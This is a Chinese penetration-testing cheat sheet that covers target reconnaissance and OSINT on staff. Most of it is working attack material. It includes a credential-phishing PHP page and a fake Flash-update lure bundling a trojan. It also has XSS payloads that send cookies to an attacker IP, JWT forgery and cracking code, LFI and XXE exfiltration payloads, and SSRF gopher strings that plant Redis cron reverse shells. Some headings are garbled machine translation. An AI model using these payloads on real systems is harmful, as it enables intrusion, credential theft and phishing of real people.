Pentest_Note
转载请随意,记得加自
声明一:
依照《中华人民共和国网络安全法》等相关法规规定,任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
声明2:
以下内容均在本地完成复现,不涉及任何非法行为,不允许使用本项目所提及的所有技术内容进行非法行为,使用技术的风险由使用者自行承担。
-
- 域名历史IP
- 网站架构/服务器指纹/CMS识别/容器
- 子域名
- 网站使用的 CMS 的官方演示站
- SSL 证书信息
- DNS历史解析记录
- 同服站点情况
- 架构或源源的站名
- 网站js
- 网站使用权js
- 云信息
- APP反编译
- C段/B段信息
- 工具
- 端口开放情况
- 目录扫描/爬虫(慎用)
- WAF 情况识别
- 随手测试
- 搜索引擎
- Shodan/fofa/zoomeye
- 谷歌笨蛋
- 信息化
- 网页缓存
- 图片反查
- 社交
- 加入手机号通讯录匹配成功APP用户信息
- 注册过的网站
- 目标人员的兴趣
- 邮箱
- 交换
- 验证邮箱是否存在
- 过往的资料等
- Github/Gitee等代码平台
- 被地址列表
- GPS查询
- 网站提取URL
- 蜜罐鉴定
- 密码默认
- 注册注册
- 企业信息
-
- 父进程隐藏
- loT高频率账户密码
- 绕过 mod_security
- 查找git和svn的搜索结果
- 前 25 名观众
- 使用grep快速清除垃圾数据
- 已准备好密码 整理出的字典
- 注射命令绕行
- 是否存在heartbleed漏洞查询
- 远程解压文件
- Top25 ssrf 傻瓜
- 使用SecurityTrails API查询子域名
- 邮件地址有效载荷
- 网络服务器日志分析命令
- 绕过 AMSI
- 绕过 AMSI 2
- CVE-2020-5902
- 一些可以试用白板的执行
- 横向保护
- 佩佐免杀
- 动态流程注入
- 在 Windows Server 216 和 2019 中使用 Windows Defender
- 内存中解码shellcodeav
- cshot shellcode远程加载器
- thinkphp 手段
- 使用windows defender下载文件
- Powershell脚本重写amsi和av
- 通过挂起EventLog服务终止Windows事件日志
- 解码器
- dedecms重置前台管理员密码
- Shiro rememberMe反序列化漏洞
- Shiro Padding 预言机攻击
- shiro权限
- 编辑器漏洞
- 宝塔面板未授权访问phpmyadmin
- 深信服
- 从LFI到RCE
- 隐藏windows服务
信息采集
谁是
站点注册人注册过的其他网站(对注册人、邮箱、电话的反查),对查到的站点的深入
网站IP
是否存在CDN
Ping、多地ping、国外ping
绕过 cdn 正常方式
子域名 https://dnsdb.io/zh-cn/ Ping根域名 Nslookup Cloudflare的真实IP寻找 http://crimeflare.org:82/cfs.html https://github.com/gwen001/pentest-tools/blob/master/cloudflare-origin-ip.py 查找老域名 查找关联域名 www.baidu.com www.baidu.cn www.baidu.org www.baidu.xyz等等 信息泄露/配置文件 Phpinfo 网页源码 Svn Github Shodan/fofa/zoomeye SSL证书记录 https://censys.io/ 网站漏洞 Xss Ssrf 命令执行 SQL注入(某种情况loadfile读取linux的ip配置文件,hosts文件等) DNS记录,证书记录 设置xff/x-remote-ip/x-remote-addr为127.0.0.1/或ipv6地址 RSS订阅/邮件头 APP反编译搜索/截取APP的请求信息 修改hosts文件指向
域名历史IP
网站架构/服务器指纹/CMS识别/容器
Whatweb 网页源代码 请求头/响应头 网站底部,顶部,左上角右上角 网站报错信息 http://www.yunsee.cn/ 域名/install Firefox插件Wappalyzer CMS漏洞 定位版本对应已知漏洞检查 CMS未知漏洞挖掘 Web容器已知漏洞(解析漏洞这种) 显示网站使用的技术 https://builtwith.com/ 中间件、组件 Weblogic、tomcat、zabbix、struts、axis等 https://github.com/FortyNorthSecurity/EyeWitness
子域名
老站、同样架构或同源码的子站 爆破,接口查询 https://phpinfo.me/domain/ https://d.chinacycc.com/index.php?m=Login&a=index subDomainBrute、knockpy OWA发现、dig adfs、dig mail https://dns.bufferover.run/dns?q=baidu.com http://api.hackertarget.com/reversedns/?q=target.com
网站使用的 CMS 的官方演示站
找不到demo就找源码开发者,加群什么的,结合社会工程学要个后台截图(对于一些后台目录复杂的cms),注意看网站上一些功能介绍的截图。
SSL 证书信息
https://crt.sh/?q=%25.target.com https://censys.io/certificates?q=target.com https://github.com/cheetz/sslScrape
DNS历史解析记录
https://dnsdumpster.com/ https://censys.io/ https://securitytrails.com/ 域传送漏洞检查 Dnsenum、fierce http://ha.ckers.org/fierce/ $ ./fierce.pl -dns example.com $ ./fierce.pl –dns example.com –wordlist myWordList.txt >dig @ns.example.com example=.com AXFR >nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器 >nslookup #进入nslookup交互模式 >server dns.domian.com #指定dns服务器 >ls xxx.yyy.cn #列出域信息
同服站点情况
https://site.ip138.com/ 火狐插件flagfox,配置单击指向bing查ip对应的域名
架构或源源的站名
网站js
https://github.com/003random/getJS https://github.com/Threezh1/JSFinder 或浏览器F12也可以看到加载的 敏感信息、可能存在漏洞的参数等信息 查看网页源代码,注释的一些信息,比如没有删掉的接口、前台没有的页面、越权、注入、js等
网站使用权js
云信息
Aliyun、AWS、GCP、Azure等 查找可公开访问的实例 https://github.com/gwen001/s3-buckets-finder https://github.com/nccgroup/aws-inventory https://github.com/jordanpotti/AWSBucketDump
APP反编译
url、js、osskey、api等信息查找 搜集到接口该怎么做 Fuzz常见参数
C段/B段信息
Banner、是否存在目标的后台或其他入口/其他业务系统
工具
recon-ng,theharvester,maltego,exiftool等 https://www.spiderfoot.net/ https://github.com/smicallef/spiderfoot
端口开放情况
Masscan、scanport等 针对常见的那些端口的利用的常规方法 常见的未授权访问的服务如redis,mongodb等
目录扫描/爬虫(慎用)
WAF 情况识别
https://github.com/EnableSecurity/wafw00f 做好绕过策略的计划
随手测试
单引号 xx.jpg/.php admin/123456 万能密码 Heartbleed漏洞
搜索引擎
Google自定义搜索引擎整合的300多个社交网站 https://cse.google.com/cse?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=001794496531944888666:iyxger-cwug&q=%22%22 Google自定义搜索引擎整合的文件共享网站 https://cse.google.com/cse/publicurl?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=001794496531944888666:hn5bcrszfhe&q=%22%22 领英用户提取 https://cse.google.com/cse?cx=001394533911082033616:tm5y1wqwmme
Shodan/fofa/zoomeye
谷歌笨蛋
Site,filetype,intitle,inurl,intext等
信息化
电话、邮箱,姓名 目录遍历 备份文件 (www.zip,xx.com.zip,www.xx.com.zip,wwwroot.zip) .svn/.git/sql/robots/crossdomin.xml/DS_Store等 https://github.com/lijiejie/ds_store_exp https://github.com/admintony/svnExploit 若是论坛ID=1的用户名一般为管理、或查看帖子信息、生成字典 网页上客服的QQ(先判断是企业的还是个人,用处有时不太大,看怎么用,搞个鱼叉什么的)
网页缓存
http://www.cachedpages.com/
图片反查
百度识图、googleimage、tineye 原图查询坐标
社交
QQ、weibo、支付宝、脉脉、领英、咸鱼、短视频、人人、贴吧、论坛 外网信息 有些人喜欢把自己的生活传到外网 推特、ins、fb等
加入手机号通讯录匹配成功APP用户信息
注册过的网站
https://www.reg007.com/ https://www.usersearch.org/
目标人员的兴趣
目标人员的兴趣 注册过的小众论坛,站点 针对此类站点的深入 收集到的用户名,电话等信息生成字典
邮箱
https://hunter.io/ https://github.com/killswitch-GUI/SimplyEmail
交换
https://github.com/dafthack/MailSniper
验证邮箱是否存在
https://tools.verifyemailaddress.io/
过往的资料等
库 https://haveibeenpwned.com/ https://github.com/kernelmachine/haveibeenpwned
Github/Gitee等代码平台
https://github.com/dxa4481/truffleHog https://github.com/lijiejie/GitHack https://github.com/MiSecurity/x-patrol https://github.com/az0ne/Github_Nuggests https://github.com/mazen160/GithubCloner克隆用户的github
被地址列表
http://zone-h.org/archive wooyun镜像查找目标企业曾出现的漏洞
GPS查询
https://www.opengps.cn/Default.aspx
网站提取URL
http://www.bulkdachecker.com/url-extractor/
蜜罐鉴定
https://honeyscore.shodan.io/
密码默认
https://default-password.info/ http://routerpasswords.com
注册注册
Sms https://www.materialtools.com/ http://receivefreesms.com/ Email https://10minutemail.net/ https://zh.mytrashmailer.com/ http://24mail.chacuo.net/enus https://www.linshiyouxiang.net/ Fake id https://www.fakenamegenerator.com/ http://www.haoweichi.com/ https://www.fakeaddressgenerator.com/
企业信息
天眼查、企查查、企业信用信息公示系统 企业邮箱收集,企业架构画像、人员统计、人员职责、部门、WiFi、常用部门密码、人员是否泄露过密码、人员平时爱逛的站点、OA/erp/crm/sso/mail/vpn等入口、网络安全设备(waf,ips,ids,router等统计)、内部使用的代码托管平台(gitlab、daocloud等),bug管理平台、服务器域名资产统计
入口点
win10 安装kali(wsl)
Microsoft Store查找kali下载。 Powershell执行 >Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux 源设置vim /etc/apt/source.list deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free >sudo su >passwd root修改root密码 >apt-get update &apt-get upgrade 更新 >apt-get dist-upgrade >apt-get clean cmd>kali config --default-user root 设置默认启动用户为root cmd>net stop/start LxssManager重启服务 >apt-get install metasploit-framework >apt install kali-linux-full 安装完整kali工具集
水坑攻击
XSS免费钓鱼
保存js&css到服务器,登录action改为接受密码的文件action="./pass.php" <?php //php $user=$_POST['username']; $pass=$_POST['password']; $file=fopen('pass.txt','a+'); fwrite($file,$user."|"."pass" . "\n"); fclose($file); echo "<script>window.location.href=\"http://192.168.0.1\"</script>\n"; ?> 构造payload <script>window.location.href="http://192.168.0.1/login.html"</script> php –S 0.0.0.0:8080 –t ./
页面显示钓鱼
1
https://github.com/r00tSe7en/Fake-flash.cn 添加xss平台模块 window.alert = function(name){ var iframe = document.createElement("IFRAME"); iframe.style.display="none"; iframe.setAttribute("src",'data:text/plain'); document.documentElement.appendChild(iframe); window.frames[0].window.alert(name); iframe.parentNode.removeChild(iframe); } alert("您的FLASH版本过低,尝试升级后访问该页面!"); window.location.href="http://www.flash.com"; 制作自解压捆绑 一个马.exe,一个正常exe,全选,winrar添加到压缩文件,选择创建自解压格式压缩文件,高级->自解压选项,设置解压路径,c:\windows\temp\,设置->解压后运行两个exe文件,模式全部隐藏,更新,解压并更新文件,覆盖所有文件。 ResourceHacker修改文件图标
2
if(empty($_COOKIE['flash'])){ echo '<script>alert("你当前计算机的Flash软件已经很久未更新,将导致无法正常显示界面内容,请下载安装最新版本!");window.location="http://www.flash.cn.xx.com/"</script>'; setcookie("flash","true",time()+30*2400); }
晚服务攻击
网络
前端/逻辑漏洞
注册
任意用户注册 可爆破用户名 注入 XSS
登录
爆破用户名,密码 注入 万能密码 Xss Xss+Csrf 修改返回包信息,登入他人账户 修改cookie中的参数,如user,adminid等
任意重置重置
1.重置一个账户,不发送验证码,设置验证码为空发送请求。 2.发送验证码,查看相应包 3.验证码生存期的爆破 4.修改相应包为成功的相应包 5.手工直接跳转到校验成功的界面 6.两个账户,重置别人密码时,替换验证码为自己正确的验证码 7.重置别人密码时,替换为自己的手机号 8.重置自己的成功时,同意浏览器重置别人的,不发验证码 9.替换用户名,ID,cookie,token参数等验证身份的参数 10.通过越权修改他人的找回信息如手机/邮箱来重置
信息化
HTML源码、JS等查看信息搜集一章
后台
登录参数修改为注册参数/reg、/register、/sign等
JWT 攻击方式
https://jwt.io/#debugger-io
未签名签名
将原JWT串解码后修改用户名等身份认证的地方,生成新token发送请求
不想哈希
Alg代表加密方式,修改用户名等身份认证的地方,把HS256设置为none生成token发送请求,使用python的pyjwt模块
jwt.encode({'user':'admin','arg1':'value1','arg2':'value2'},algorithm='none',key='')
暴弱弱密钥
>pip3 install pyjwt >python3 crack.py import jwt import termcolor jwt_str = R'token' with open('/root/password.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str,verify=True,key=key_) print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--') break except(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError): print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--') except jwt.exceptions.InvalidSignatureError: print('\r',' ' * 64, '\r\btry',key_,end='',flush=True) continue else: print('\r','\bnot found.')
跨站脚本
打COOKIE <svg/onload="javascript:document.location.href=('http://xx.xx.xx.xx:7777?cookie='+document.cookie)"> 读取HTML <svg/onload="document.location='http://xx.xx.xx.xx:7777/?'+btoa(document.body.innerHTML)"> 读文件 <svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://xx.xx.xx.xx:7777/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("GET","file.php",true); xmlhttp.send(); "> XSS+SSRF读取服务器文件 <svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///etc/passwd"); ">
CSRF
查看有无token等验证身份的参数,删掉后是否返回正常 查看header中referer,origin参数,删掉后是否返回正常 使用csrftester/burpsuite生成表单,以另一账号和浏览器打开测试 去掉referer中域名后面的文件夹或文件 替换二级域名
php任意文件读取/下载
readfile()、file_get_contents()、fopen()等读文件的函数不严谨,读取文件路径可控,输出内容。 下载配置文件 Redis、Weblogic、ftp、mysql、web配置文件、history文件、数据库配置文件 下载log文件 下载web文件 /1.php?f=../../etc/passwd /1.php?f=file:///etc/passwd(file://绕过../的防护) /1.php?f=file:///etc/passwd
php文件包含
函数: include require include_once require_once
常用协议
file:// — 访问本地文件系统 file协议的工作目录是当前目录,使用file:///wwwroot/1.php等同于./wwwroot/1.php可用于绕过一些情况 php:// — 访问各个输入/输出流(I/O streams)
读取 /1.php?file=php://filter/read=convert.base64-encode/resource=./1.php 写入 /1.php?file=php://filter/write=convert.base64-decode/resource=[file]","base64
获取壳
https://github.com/D35m0nd142/LFISuite
allow_url_include 开启时Getshell
远程文件包含 /1.php?file=http://remote.com/shell.txt /1.php?file=php://input POST:<?php phpinfo();?> 或使用curl >curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>" 或使用data://协议解析base64的代码 /1.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==
allow_url_include 关闭时Getshell
攻击机开启共享 /1.php?file=//attacker/1.php 创建webdav服务,shell文件放入目录包含即可 >docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav Shell文件放入/root/webdav/data /1.php?file=//attacker/1.php
包含日志文件getshell
Fuzz文件 https://github.com/fuzzdb-project/fuzzdb https://github.com/danielmiessler/SecLists https://blog.csdn.net/qq_33020901/article/details/78810035 /1.php?file=<?php phpinfo();?> /1.php?file=../../../../../../../var/log/apache2/access.log Win下使用phpstudy 请求/<?php phpinfo();?> 包含错误日志 /1.php?file=C:\phpStudy\Apache\logs\error.log
上传个图片格式的木马直接包含
/1.php?file=/uploadfile/1.jpg
后缀缀时
<?php $file = $_GET['file'].".php"; include($file); ?><br> 利用伪协议zip,构造一个zip压缩包,打包一个shell.php,将压缩包更名为png
请求/1.php?file=zip://shell.png%23shell
也可使用phar协议访问 /1.php?file=phar://shell.png/shell 老版本可以使用%00截断 /etc/passwd%00 (需要 magic_quotes_gpc=off,PHP小于5.3.4有效) /var/www/%00 /etc/passwd/././././././.[…]/./././././. (需要 magic_quotes_gpc=off (php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256) 点号截断: /boot.ini/………[…]………… (php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
phpinfo-LFI 本地文件包含临时文件getshell
利用临时文件删除时间差获取shell 需要一个lfi漏洞+phpinfo页面 在/tmp/目录下生成个密码为f的一句话木马g
修改脚本的phpinfo文件名称
LFI文件
执行 >python getshell.py 192.168.0.108 80 100 80是端口、100是线程
http://192.168.0.110/index.php?file=../../../tmp/g&f=echo%20%271%27
session + lfi getshell
session.upload_progress.enabled启用时,文件上传会产生进度文件 /var/lib/php5/sess_ /var/lib/php/sess_
LFI SSH 日志
>ssh '<?php system($_GET['c']); ?>'@192.168.0.107 >http://192.168.0.107/lfi.php?file=/var/log/auth.log&c=ls
RFI&命令上线上线
MSF生成 #use exploit/multi/script/web_delivery #set target PHP 注入点注入: php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.107:1234/OgsOFaj3yKH'));" RFI: http://www.xx.com/file=http://192.168.0.107:1234/OgsOFaj3yKH
XML
XML设计的宗旨是传输数据,而非显示数据 XXE=XML外部实体注入、XML=可扩展标记语言 Xml文件声明 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> DTD为XML的文档类型定义 引入外部DTD <!DOCTYPE 根元素 SYSTEM "filename"> 参数实体+外部实体 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> %file; ]>
XML注入
闭合标签,改写xml文件,用户可控,有拼接代码 <?xml version="1.0" encoding="utf-8"?> <manager> <admin id="1"> <username>admin</username> <password>admin</password> </admin> <admin id="2"> <username>root</username> <password>root</password> </admin> </manager> 若是password可控,拼接代码形成注入 admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>
XXE
https://github.com/AonCyberLabs/xxe-recursive-download 程序解析XML输入时,未禁止外部实体的加载,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
鉴定鉴定
回显路径 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "test">%remote;]> DNSLOG http://www.dnslog.cn/ <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY dtd SYSTEM "http://xxx.dnslog.cn/xxe">]> <xxe>&dtd;</xxe> Webdav 存在webdav可使用PROPPATCH、PROPFIND、 LOCK等请求方法接受xml输入形成xxe Wsdl使用AWVS测试
挖掘
如遇与xml交互的地方 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY test "this is test"> ]> <root>&test;</root> 看是否输出 检查是否支持外部实体 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY % foo SYSTEM "http://attacker/evil.xml"> %foo; ]> 查看你的服务器是否有请求 JSON content-type XXE 修改Content-Type: application/xml X-Requested-With: XMLHttpRequest <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <参数name>name</参数name> <参数value>&xxe;</ 参数value> </root>
有回显读取本地文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:////etc/passwd"> ]> <creds>&goodies;</creds> 也可去掉文件列目录 file:///root/.sh/id_rsa 特殊字符 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:////tmp/xxx.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> %dtd; ]> <roottag>&all;</roottag> evil.dtd <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
盲OOB XXE无回显读取
需使用参数实体,引用外部DTD Payload <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]> test.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://attacker:9999?p=%file;'>">
列目录
远程payload <!ENTITY % a SYSTEM "file:///"> <!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://ip:80/%a;'>"> %b; %c; 注入payload <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker:80/1.xml">%remote;]><root/>
不同平台支持的协议
执行命令
安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <root> <name>&xxe;</name> </root>
内网主机探测
可先读取/etc/network/interfaces、/proc/net/arp、/etc/hosts等文件查询IP段 使用脚本
内网端口扫描
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data> 可使用burpsuite的intruder模块进行遍历
内部DTD利用
Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
视窗
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd; <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message>any text</message>
PostgresSQL
SELECT dblink_send_query( 'host=127.0.0.1 dbname=quit user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' password=1 port=6379 sslmode=disable', 'select version();’ );
微软SQL
SELECT openrowset('SQLOLEDB', 'server=192.168.1.5;uid=sa;pwd=sa;database=master') SELECT * FROM OpenDatasource('SQLOLEDB', 'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories
图片处理程序
FFmpeg concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd ImageMagick fill 'url(http://wyssrf.wuyun.org)'
攻击
测试代码,需安装phpcurl模块apt-get install php7.0-curl <?php echo 'r u ok?'; function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?> 对内网、本地进行端口扫描,获取服务的banner 信息 攻击运行在内网或本地的应用程序 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件) 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli) 读取内网资源(如:利用file协议读取本地文件等) 跳板 无视cdn 利用Redis未授权访问,HTTP CRLF注入实现getshell
读取文件
>curl -v 'http://192.168.0.110/ssrf.php?url=file:///etc/passwd'
?url=php://filter/read=convert.base64-encode/resource=./1.php
端口探测
>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:22/'
>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:6379/info'
SSRF+Redis
>curl -v 'http://192.168.0.112/ssrf.php?url=gopher://192.168.0.120:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.0.108%2f12345%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
302壳
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=flushall 302.php <?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?> ?url=http://xxxx/reverse.php?s=dict&ip=10.20.*.*&port=6379&bhost=*.*.*.*&bport=1234 reverse.php <?php $ip = $_GET['ip']; $port = $_GET['port']; $bhost = $_GET['bhost']; $bport = $_GET['bport']; $scheme = $_GET['s']; header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?> ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dir:/var/spool/cron/ ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dbfilename:root ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=save 可设置burp–>intruder指定变量跑。
mysql
https://github.com/FoolMitAh/mysql_gopher_attack https://fireshellsecurity.team/isitdtu-friss/
Weblogic SSRF+Redis
探测 /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80 Redis反弹 set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.0.110:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa SSRF+内网Struct2 http://www.xx.com/ssrf.php?url=http://10.1.1.1/action?action?redirect:http://attackerip/
Ueditor SSRF
/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png
Discuz
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
探测监测站
直接访问 http://www.xx.com/ssrf.php?url=http://192.168.0.1
伪造POST请求 >curl -v 'http://www.xx.com/ssrf.php?url=gopher://192.168.0.10:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'
交替方法
本地绕过 http://127.0.0.1=http://localhost [::]绕过 http://[::]:80=http://127.0.0.1 @绕过 http://www.xx.com/1.php?url=http://www.xx.com@127.0.0.1:8080 利用短网址 http://tool.chinaz.com/tools/dwz.aspx http://dwz.cn/ DNS解析 http://www.qq.com.127.0.0.1.xip.io,可解析为127.0.0.1 自己域名设置A记录,指向127.0.0.1 进制转换 127.0.0.1 八进制:0177.0.0.1 十六进制:0x7f.0.0.1 十进制:2130706433 http://www.bejson.com/convert/ip2int/ 句号 127。0。0。1 302脚本 <?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?> 攻击方VPS监听8080 dict协议 dict://www.attack.com:8080/hello:dict等于 ssrf.php?url=http://attack.com/302.php?s=dict&ip=www.attack.com&port=8080&data=hello:dict Gopher协议 gopher:// www.attack.com:8080/gopher ssrf.php?url=http://attack.com/302.php?s=gopher&ip=www.attack.com&port=8080&data=gopher File协议 攻击机新建file.php <?php header("Location: file:///etc/passwd"); ?> ssrf.php?url=http://attack.com/file.php
gopher协议的脚本转换
抓取本地测试的正常请求 >socat -v tcp-listen:4444,fork tcp-connect:目标IP:6379
将捕获日志保存txt 使用脚本转换为支持gopher协议的字符串 转换规则 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。 将\r字符串替换成%0d%0a 空白行替换为%0a
本地可执行
远程执行需对空格进行编码后再url编码一次 *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/192.168.0.108/12138%200>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
协议
Curl版本需低于7.15.1 file:可回显时,使用file读取任意文件 dict:查看端口,操作内网服务 gopher:可发出get/post请求 使用gopher协议时,要进行两次url编码 http/https:探测存活主机
dict协议写shell
